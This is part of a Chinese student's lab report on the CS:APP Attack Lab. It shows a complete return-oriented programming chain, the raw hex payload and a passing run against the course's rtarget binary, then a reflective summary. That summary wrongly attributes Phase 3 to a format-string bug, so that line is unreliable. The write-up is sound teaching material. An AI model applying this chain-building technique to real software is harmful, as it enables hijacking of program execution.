  • Phase 3一样,需要将寄存器%rdi的值设置为cookie字符串的指针,即存储cookie字符串的地址。

  • 找到满足要求的gadget拼凑出攻击指令

    1
    2
    3
    4
    movq   %rsp,%rax    //传递栈顶位置栈顶位置
    //因为不能将cookie字符串存储在栈顶位置,需要另找位置,将cookie字符串存储在rsp+x处
    add $x ,%rax
    movq %rax,%rdi //将cookie字符串地址传递给%rdi
  • 因此我们需要找到一个能够实现加法或减法的运算的gadget,但是参考文件中并没有相关的字节编码,需要寻找其他方法:

    1
    2
    3
    4
    0000000000402112 <add_xy>:
    402112: f3 0f 1e fa endbr64
    402116: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
    40211a: c3 retq
  • 通过观察可以通过上述代码来实现一个加法运算,lea (%rdi,%rsi,1) %rax的是%rax = %rdi + %rsi传递的是地址,所以只要能够让%rdi%rsi其中一个保存%rsp,另一个保存从stack中pop出来的偏移值,就可以表示cookie字符串存放的地址。所以分成两部分代码:

    1. %rsp存放到%rdi
    2. 把偏移值(需要确定指令数后才能确定)存放到%rsi
  • 在上述代码中并没有movq %rax,%rsi的gadget,只能通过过%eax->%edx->%ecx->%esi来实现。即将%eax的值设置为cookie字符串地址在栈中的偏移量并复制给%esi
    需要注意的是,上面两部分完成任务的寄存器不能互换,因为从%eax%esi的值传递mov指令都是4byte的操作,如果对%rsp的值采用这种方式,%rsp的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。

  • 最后的指令为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    mov   %rsp,%rax
    ret
    mov %rax,%rdi #先将栈顶%rsp存入%rdi内
    ret
    popq %rax #将偏移量赋值给%eax
    ret
    movl %eax,%edx
    ret
    movl %edx,%ecx
    ret
    movl %ecx,%esi #%esi = 偏移量
    ret
    lea (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
    ret
    mov %rax,%rdi #%rdi = cookie字符地址
    ret
  • 可以看到在返回地址和字符串首地址之间有9条指令,每个指令8个byte,共72 byte也就是0x48

  • 攻击字符串level5.txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    // 以上代码填满整个缓冲区以致溢出
    94 21 40 00 00 00 00 00 //movq %rsp,%rax
    cf 20 40 00 00 00 00 00 //movq %rax,%rdi
    ef 20 40 00 00 00 00 00 //popq %rax
    48 00 00 00 00 00 00 00 //偏移值
    ea 21 40 00 00 00 00 00 //movl %eax,%edx
    b4 21 40 00 00 00 00 00 //movl %edx,%ecx
    a9 21 40 00 00 00 00 00 //movl %ecx,%esi
    16 21 40 00 00 00 00 00 //lea (%rsi,%rdi,1) %rax
    cf 20 40 00 00 00 00 00 //movq %rax,%rdi
    05 20 40 00 00 00 00 00 //touch3的起始地址
    31 37 35 66 37 35 62 63 00 //cookie字符串
  • 发起总攻:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level5.txt > level5raw.txt
    ouc@islouc-vm:~/Desktop/target393$ ./rtarget -qi level5raw.txt

    Cookie: 0x175f75bc
    Touch3!: You called touch3("175f75bc")
    Valid solution for level 3 with target rtarget
    PASS: Would have posted the following:
    user id 22090001016
    course 15213-f15
    lab attacklab
    result 393:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 21 40 00 00 00 00 00 CF 20 40 00 00 00 00 00 EF 20 40 00 00 00 00 00 48 00 00 00 00 00 00 00 EA 21 40 00 00 00 00 00 B4 21 40 00 00 00 00 00 A9 21 40 00 00 00 00 00 16 21 40 00 00 00 00 00 CF 20 40 00 00 00 00 00 05 20 40 00 00 00 00 00 31 37 35 66 37 35 62 63 00

    img

四、实验结果:

· Phase 1

img

· Phase 2

img

· Phase 3

img

· Phase 4

img

· Phase 5

img

五、实验总结:

  • Attack Lab的完成过程让我深入学习了计算机安全领域的基本概念和实践技能。以下是我在每个关卡中的经验与心得:

  • 第一关(Phase 1):

    通过使用 hex2raw 将文本数据转换为二进制形式,我成功利用 ctarget 攻击了目标,触发了 touch1() 函数。这一关让我了解了如何利用栈溢出漏洞,并初步认识了二进制攻击的原理。

  • 第二关(Phase 2):

    利用程序中的栈溢出漏洞,我成功触发了 touch2(0x175f75bc) 函数。这一关深化了我对栈溢出攻击的理解,学到了如何操纵程序的执行流程,实现对指定函数的调用。

  • 第三关(Phase 3):

    通过利用字符串格式化漏洞,我成功触发了 touch3("175f75bc") 函数。这一关让我更深入地了解了格式化字符串攻击的原理,对不同类型的漏洞有了更全面的认识。

  • 第四关(Phase 4):

    利用Return-Oriented Programming (ROP)攻击技术,我成功触发了 touch2(0x175f75bc) 函数。深入了解ROP攻击,了解了在没有执行可执行代码的情况下实现攻击的方法,对于更高级的攻击技术有了一定了解。

  • 第五关(Phase 5):

    通过ROP攻击成功触发了 touch3("175f75bc") 函数。这一关让我更深入地掌握了ROP攻击技术,对于构建ROP链和在实际攻击中如何利用已有的程序片段有了更深入的认识。

  • 总的来说,Attack Lab为我提供了一个深入了解计算机安全领域的机会。通过实际的攻击任务,我不仅学到了各种攻击技术,还提高了解决问题和调试程序的能力。这次实验为我未来深入学习和从事计算机安全领域奠定了坚实的基础。